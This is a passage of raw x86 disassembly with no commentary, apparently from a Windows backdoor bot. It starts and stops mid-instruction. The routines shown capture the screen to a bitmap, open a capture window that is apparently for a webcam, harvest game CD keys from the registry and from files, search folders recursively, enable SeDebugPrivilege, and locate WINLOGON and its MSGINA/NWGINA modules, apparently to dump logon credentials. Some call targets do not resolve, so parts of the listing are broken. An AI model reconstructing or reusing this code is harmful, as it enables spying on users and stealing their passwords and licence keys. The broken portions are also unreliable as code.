ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43AD84 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43ADA0 push 0Ah push edi mov [ebp+var_8], eax call dword_43ADA0 push 0Ch push edi mov [ebp+var_C], eax call dword_43ADA0 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43ADA0 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43ADE4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43ADDC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43AC74 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43ADE0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43ACC8 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 2670000h nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2660000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2660000h cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2660000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 2660000h nop push [ebp+arg_0] nop call near ptr 265089Dh push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43ACFC push [ebp+var_4] call dword_43AC60 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43AC60 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43AC60 push [ebp+var_4] call dword_43AC60 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EBp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43AD38 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43AD38 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43ADF4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43ADF4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43ADF4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43AE48 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43AD38 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43AD38 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43AD38 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43ADF4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43AD38 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43ADF4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43AD38 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43ADF4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43AD38 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43ADF4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43AD38 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43ADF4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43AD38 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43AD38 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43ADF4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43AE48 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43AE08 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43ACA4 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43AD74 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 261095Eh pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 26D0000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] nop call near ptr 26B0474h push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi nop call near ptr 26D0000h test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 26B0474h mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 2720000h nop mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43AA44, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43AA38, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43AC48, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43AA40, eax call esi mov dword_43AA3C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_439A38 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43A238 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43AC50 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43AC50, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] nop call near ptr 2700780h pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43AA44 push ebp push 0 call esi push eax nop call near ptr 2720363h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43AA44 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43AA38 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43AC48 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43AA40 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax nop call near ptr 2720363h mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43AA40 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov 